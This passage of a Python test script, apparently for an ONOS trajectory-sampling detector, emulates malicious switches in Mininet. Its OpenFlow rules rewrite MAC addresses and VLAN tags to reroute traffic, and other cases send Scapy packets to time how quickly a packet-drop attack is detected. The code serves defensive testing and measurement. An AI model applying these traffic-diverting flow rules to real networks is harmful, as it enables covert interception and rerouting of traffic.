utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_2_1", "0_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_3_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
else:
main.log.info( "Configure flow rule that changes the destination MAC address and resubmits the modified packets to the flow table" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:00:01:02-\\>dl_dst,resubmit:" + inputPort0_3_1
stepResult = main.Mininet1.addFlow( [ "0_3_1" ], version="1.3", flowcmd=flowRule)
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_3_1 configured to emulate an injection attack that reroutes traffic",
onfail="0_3_1 not configured to emulate an injection attack that reroutes traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "0_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_3_1", "0_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_2_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
def CASE33339( self, main ):
'''
Reroute attack
Configure a flow rule on the Core switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that modifies the destination MAC address
In this case, the malicious switch actually
forwards traffic that it does not sample to
a different destination.
Also, send ping traffic so that flows are installed
for the new path traffic.
'''
import json
import random
main.case( "Configure flow modifying rule on switch 4_1_1, 4_1_2, 4_2_1 or 4_2_2_1 for traffic from 0_0_2 to 1_0_2 that modifies the\
destination MAC address to reroute traffic that it does not sample" )
main.step( "First get the installed input ports for 00:00:00:00:00:02 on the core switches 4_1_1, 4_1_2, 4_2_1 or 4_2_2" )
inputPort4_1_1 = main.Mininet1.getFlowInputPort( "4_1_1" )
inputPort4_1_2 = main.Mininet1.getFlowInputPort( "4_1_2" )
inputPort4_2_1 = main.Mininet1.getFlowInputPort( "4_2_1" )
inputPort4_2_2 = main.Mininet1.getFlowInputPort( "4_2_2" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_1_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_1_1 flushed",
onfail="0_1_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 flushed",
onfail="0_2_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if inputPort4_1_1 != '':
main.log.info( "Configure flow rule that changes the destination MAC address to 00:00:00:02:01:02" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_1_1
stepResult = main.Mininet1.addFlow( [ "4_1_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_1 configured to emulate an injection attack that reroutes traffic",
onfail="4_1_1 not configured to emulate an injection attack that reroutes traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "2_2_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "4_2_1", "4_2_2", "2_3_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif inputPort4_1_2 != '':
main.log.info( "Configure flow rule that changes the destination MAC address to 00:00:00:02:01:02" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_1_2
stepResult = main.Mininet1.addFlow( [ "4_1_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_2 configured to emulate an injection attack thatreroutes traffic",
onfail="4_1_2 not configured to emulate an injection attack that reroutes traffic" )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "2_2_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "4_2_1", "4_2_2", "2_3_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif inputPort4_2_1 != '':
main.log.info( "Configure flow rule that changes the destination MAC address to 00:00:00:02:01:02" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_2_1
stepResult = main.Mininet1.addFlow( [ "4_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_1 configured to emulate an injection attack that reroutes traffic",
onfail="4_2_1 not configured to emulate an injection attack that reroutes traffic" )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_2_1", "2_3_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "4_1_2", "4_2_2", "2_2_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif inputPort4_2_2 != '':
main.log.info( "Configure flow rule that changes the destination MAC address to 00:00:00:02:01:02" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_2_2
stepResult = main.Mininet1.addFlow( [ "4_2_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_2 configured to emulate an injection attack that reroutes traffic",
onfail="4_2_2 not configured to emulate an injection attack that reroutes traffic" )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_2_2", "2_3_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "4_1_2", "4_2_1", "2_2_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
def CASE41( self, main ):
'''
Activate the tsamp application
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
activateResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Activate tsamp" )
main.caseExplanation = "Activate tsamp."
main.step( "Activate tsamp." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
activateResult = main.CLIs[ 0 ].app( "org.onosproject.tsamp", "activate" )
utilities.assert_equals( expect=main.TRUE,
actual=activateResult,
onpass="Successfully activated tsamp",
onfail="Failed to activate tsamp" )
def CASE42( self, main ):
'''
Deactivate the tsamp application
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
deactivateResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Deactivate tsamp" )
main.caseExplanation = "Deactivate tsamp."
main.step( "Deactivate tsamp." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
deactivateResult = main.CLIs[ 0 ].app( "org.onosproject.tsamp", "deactivate" )
utilities.assert_equals( expect=main.TRUE,
actual=deactivateResult,
onpass="Successfully deactivated tsamp",
onfail="Failed to deactivate tsamp" )
def CASE50( self, main ):
'''
Configure pair-wise assignment
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Configure pair-wise assignment" )
main.caseExplanation = "Configure pair-wise assignment in ATS"
main.step( "Configure pairAssignment" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"pairAssignment", "true" )
main.log.info( "Sleep for 10s so that the flows are actually installed" )
time.sleep( main.activateSleep )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully configured pairAssignment",
onfail="Failed to configure pairAssignment" )
def CASE500( self, main ):
'''
Disable pair-wise assignment
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Disable pair-wise assignment" )
main.caseExplanation = "Disable pair-wise assignment in ATS"
main.step( "Disable pairAssignment" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"pairAssignment", "false" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully disabled pairAssignment",
onfail="Failed to disable pairAssignment" )
def CASE51( self, main ):
'''
Enable hash mutation
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Enable hash mutation" )
main.caseExplanation = "Enable hash mutation in ATS"
main.step( "Enable hash mutation" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"hashMutation", "true" )
main.log.info( "Sleep for 5s so that the hash mutation begins" )
time.sleep( 5 )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully Enabled pairAssignment",
onfail="Failed to Enable pairAssignment" )
def CASE52( self, main ):
'''
Disable hash mutation
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Disable hash mutation" )
main.caseExplanation = "Disable hash mutation in ATS"
main.step( "Disable hash mutation" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"hashMutation", "false" )
main.log.info( "Sleep for 5s so that the hash mutation stops completely" )
time.sleep( 5 )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully Disabled hash mutation",
onfail="Failed to Disable hash mutation" )
def CASE61( self, main ):
'''
Enable Trajectory Sampling
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Enable Trajectory Sampling" )
main.caseExplanation = "Enabled Trajectory Sampling to commence sampling."
main.step( "Configure trajectorySampling to true." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"trajectorySampling", "true" )
main.log.info( "Sleep for 10s so that detectors settle down" )
time.sleep( main.activateSleep )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully enabled Trajectory Sampling",
onfail="Failed to enable Trajectory Sampling" )
def CASE62( self, main ):
'''
Disable Trajectory Sampling
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Disable Trajectory Sampling" )
main.caseExplanation = "Disabled Trajectory Sampling to stop sampling."
main.step( "Configure trajectorySampling to false." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"trajectorySampling", "false" )
main.log.info( "Sleep for 10s so that detectors settle down" )
time.sleep( main.deactivateSleep )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully disabled Trajectory Sampling",
onfail="Failed to disable Trajectory Sampling" )
def CASE71( self, main ):
'''
Set fwd Flow Timeout to 3600s
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Configure flow timeout to 3600s" )
main.caseExplanation = "Configure flow timeout to 3600s."
main.step( "Configure fwd.flowTimeout=3600s." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.fwd.ReactiveForwarding",
"flowTimeout", "60000" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully configured the flowTimeout",
onfail="Failed to configure the flowTimeout in fwd" )
def CASE72( self, main ):
'''
Allow extraneous flow rules
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Allow extraneous flow rules on switches" )
main.caseExplanation = "Configure Flow Rule Manager to allow extraneous flow rules"
main.step( "Configure org.onosproject.net.flow.impl.FlowRuleManage allowExtraneousRules=true " )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.net.flow.impl.FlowRuleManager",
"allowExtraneousRules", "true" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully configured the allowExtraneousRules",
onfail="Failed to configure the allowExtraneousRules" )
def CASE77( self, main ):
'''
Start CPU and Memory sampling on the ONOS node
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Start sampling the CPU and Memory" )
main.caseExplanation = "Start top for the ONOS process using the shell script."
main.step( "Start top for the ONOS process using the shell script" )
cfgResult = main.ONOSbench.startCpuMemSampling( main.ONOSip[ 0 ] )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully starting sampling the CPU and memory",
onfail="Failed to start sampling the CPU and memory" )
def CASE78( self, main ):
'''
Stop CPU and Memory sampling on the ONOS node
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Stop sampling the CPU and Memory" )
main.caseExplanation = "Stop top for the ONOS process using the shell script."
main.step( "Stop top for the ONOS process using the shell script" )
cfgResult = main.ONOSbench.stopCpuMemSampling( main.ONOSip[ 0 ] )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully stopped sampling the CPU and memory",
onfail="Failed to stop sampling the CPU and memory" )
def CASE79( self, main ):
'''
Set the log level in ONOS to ERROR
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Set the log level to ERROR in ONOS" )
main.caseExplanation = "Set the log level to ERROR in ONOS"
main.step( "Set the log level to ERROR in ONOS" )
cfgResult = main.CLIs[ 0 ].setLogLevel( level="ERROR" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully set the log level",
onfail="Failed to set the log level to ERROR" )
def CASE779( self, main ):
'''
Set the log level in ONOS to INFO
'''
import json
import time
assert main.CLIs, "main.CLIs not defined"
cfgResult = main.FALSE
main.numCtrls = int( main.maxNodes )
main.case( "Set the log level to INFO in ONOS" )
main.caseExplanation = "Set the log level to INFO in ONOS"
main.step( "Set the log level to INFO in ONOS" )
cfgResult = main.CLIs[ 0 ].setLogLevel( level="INFO" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully set the log level",
onfail="Failed to set the log level to INFO" )
def CASE80( self, main ):
'''
h1 sends to h3 using tcpreplay
'''
import json
main.case( "h1 uses tcpreplay for traffic to h3." )
main.caseExplanation = "Use tcpreplay from h1 to send to h3."
main.step( "tcpreplay test" )
main.log.info( "Creating host components" )
main.Mininet1.createHostComponent( "h1" )
main.h1.startHostCli()
main.log.info( "Going to start tcpreplay on h1 now" )
tcpreplayResult = main.h1.startTcpreplay( "h1", "/home/mininet/ats-testing/4packets1k2k3k4k.pcapng",
"--pps-multi=100 --preload-pcap --pps=100 --loop=50 --limit=1000" )
main.log.info( main.Mininet1.getFlowTable( main.Mininet1.getSwitch ( ), "1.3" ) )
#jsonFlowTable = main.Mininet1.getFlowTable( main.Mininet1.getSwitch ( ), "1.3" )
main.Mininet1.removeHostComponent( "h1" )
utilities.assert_equals( expect=main.TRUE,
actual=tcpreplayResult,
onpass="Successfully started tcpreplay",
onfail="Failed to start tcpreplay" )
def CASE800( self, main ):
'''
Send traffic to and from the following hosts
0_0_2 <-> '0_1_2', '1_0_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2'
hosts = ['0_0_2', '0_1_2', '1_0_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2']
'''
import json
import re
import os
import datetime
import time
import pprint
main.case(\
"This case sends traffic flows across hosts using the lbl traffic trace. The traffic is used as a load\
to measure the cpu and memory consumption of SATS in ONOS.\
The test stops either after all traffic has been sent or after a set time.")
main.caseExplanation = "\
1. Take a pair of hosts and use the assigned pcap for that pair.\
2. Use tcpreplay to replay that pcap file.\
3. Use 10Mbps as the bandwidth/throughput in tcpreplay\
4. Stop after tcpreplay is over or after 600s."
main.step( "Create the host pairs and the pcaps that each host must send" )
hosts = main.hosts.split(',')
hostPairs = []
hostList = hosts
hostPcapDict = dict.fromkeys(hosts, [])
for host in hosts:
pcapFileList = []
for h in hostList:
if host == h:
continue
else:
pcapFileList.append(main.lblTrafficPath +host + '-' + h + '.pcap')
if h + '-' + host in hostPairs:
continue
elif host + '-' + h in hostPairs:
continue
else:
hostPairs.append(host + '-' + h)
hostPcapDict[host] = pcapFileList
backwardHostPair = []
for host in hostPairs:
x = host.split('-')
y = x[1] + '-' + x[0]
backwardHostPair.append(y)
for host in backwardHostPair:
hostPairs.append(host)
main.log.info("host pairs are:")
main.log.info(hostPairs)
main.log.info("pcaps for each host are:")
main.log.info(hostPcapDict)
main.step( "Now open up a screen session on each host and start tcpreplay using\
the hostPair filename from the host")
## main.log.info( "Creating host components" )
## for host in hosts:
## print host
## main.Mininet1.createHostComponent(host)
## main.Mininet1.removeHostComponent(host)
# Since we cannot use a variable to access each host's handle, it has to be
# hardcoded :(
for host in hostPcapDict:
interface = host + "-eth0"
i = 0
for pcap in hostPcapDict[host]:
sessionId = host + str(i)
tcpreplayCommand = "tcpreplay --preload-pcap -l 10000 -M 1 -i " + interface + " " + pcap
## tcpreplayCommand = "top"
# dont log the output for perf reasons.
command = "screen -dmSL " + sessionId + " " + tcpreplayCommand
# command = "screen -dmSL " + sessionId + " " + tcpreplayCommand
result = main.Mininet1.node( host, command)
print result
i += 1
result = main.Mininet1.node(host, "ifconfig")
print result
time.sleep(600)
main.log.info("Finally kill the tcpreplay and screen sessions as the test is over now.")
main.log.info( "Remove any old screen sessions on the Mininet node.")
main.Mininet1.killScreens()
main.log.info( "Kill any old tcpreplay sessions on the Mininet node.")
main.Mininet1.killTcpreplay()
## break
## result = main.Mininet1.node( nodeName="0_0_2", commandStr="date" )
## main.h1.startHostCli()
## main.log.info( "Going to start tcpreplay on h1 now" )
## tcpreplayResult = main.h1.startTcpreplay( "h1", "/home/mininet/ats-testing/4packets1k2k3k4k.pcapng",
## "--pps-multi=100 --preload-pcap --pps=100 --loop=50 --limit=1000" )
## main.log.info( main.Mininet1.getFlowTable( main.Mininet1.getSwitch ( ), "1.3" ) )
## #jsonFlowTable = main.Mininet1.getFlowTable( main.Mininet1.getSwitch ( ), "1.3" )
## main.Mininet1.removeHostComponent( "h1" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully tested the performance of SATS on the controller",
onfail="Failed to test the performance of SATS on the controller" )
def CASE801( self, main ):
'''
Send traffic to and from the following hosts
0_0_2 <-> '0_1_2', '1_0_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2'
hosts = ['0_0_2', '0_1_2', '1_0_2', '1_1_2', '2_0_2', '2_1_2', '3_0_2', '3_1_2']
'''
import json
import re
import os
import datetime
import time
import pprint
main.case( \
"This case sends traffic flows across hosts using the lbl traffic trace. The traffic is used as a load\
to measure the cpu and memory consumption of SATS in ONOS.\
The test stops either after all traffic has been sent or after a set time.")
main.caseExplanation = "\
1. Take a pair of hosts and use the assigned pcap for that pair.\
2. Use tcpreplay to replay that pcap file.\
3. Use 10Mbps as the bandwidth/throughput in tcpreplay\
4. Stop after tcpreplay is over or after 600s."
main.step("Create the host pairs and the pcaps that each host must send")
hosts = main.hosts.split(',')
hostPairs = []
hostList = hosts
hostPcapDict = dict.fromkeys(hosts, [])
for host in hosts:
pcapFileList = []
for h in hostList:
if host == h:
continue
else:
pcapFileList.append(main.lblTrafficPath + host + '-' + h + '.pcap')
if h + '-' + host in hostPairs:
continue
elif host + '-' + h in hostPairs:
continue
else:
hostPairs.append(host + '-' + h)
hostPcapDict[host] = pcapFileList
backwardHostPair = []
for host in hostPairs:
x = host.split('-')
y = x[1] + '-' + x[0]
backwardHostPair.append(y)
for host in backwardHostPair:
hostPairs.append(host)
main.log.info("host pairs are:")
main.log.info(hostPairs)
main.log.info("pcaps for each host are:")
main.log.info(hostPcapDict)
main.step("Now open up a screen session on each host and start tcpreplay using\
the hostPair filename from the host")
## main.log.info( "Creating host components" )
## for host in hosts:
## print host
## main.Mininet1.createHostComponent(host)
## main.Mininet1.removeHostComponent(host)
# Since we cannot use a variable to access each host's handle, it has to be
# hardcoded :(
for host in hostPcapDict:
interface = host + "-eth0"
i = 0
for pcap in hostPcapDict[host]:
sessionId = host + str(i)
tcpreplayCommand = "tcpreplay --preload-pcap -l 1000 -M 1 -i " + interface + " " + pcap
## tcpreplayCommand = "top"
# dont log the output for perf reasons.
command = "screen -dmS " + sessionId + " " + tcpreplayCommand
# command = "screen -dmSL " + sessionId + " " + tcpreplayCommand
result = main.Mininet1.node(host, command)
print result
i += 1
result = main.Mininet1.node(host, "ifconfig")
print result
time.sleep(600)
main.log.info("Finally kill the tcpreplay and screen sessions as the test is over now.")
main.log.info("Remove any old screen sessions on the Mininet node.")
main.Mininet1.killScreens()
main.log.info("Kill any old tcpreplay sessions on the Mininet node.")
main.Mininet1.killTcpreplay()
utilities.assert_equals(expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully tested the performance of SATS on the controller",
onfail="Failed to test the performance of SATS on the controller")
def CASE802( self, main ):
'''
Measure detection time for a packet drop attack
'''
import json
import re
import os
import datetime
main.case( "This case measures how many packets 0_0_2 sends until a packet drop attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out a drop attack on all traffic from 0_0_2.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 2 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
attackFound = main.CLIs[ 0 ].isDropAttack( )
if attackFound == main.TRUE:
main.log.info( "Drop Attack detected" )
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 2 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the drop was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the drop attack",
onfail="Failed to start tcpreplay" )
def CASE803( self, main ):
'''
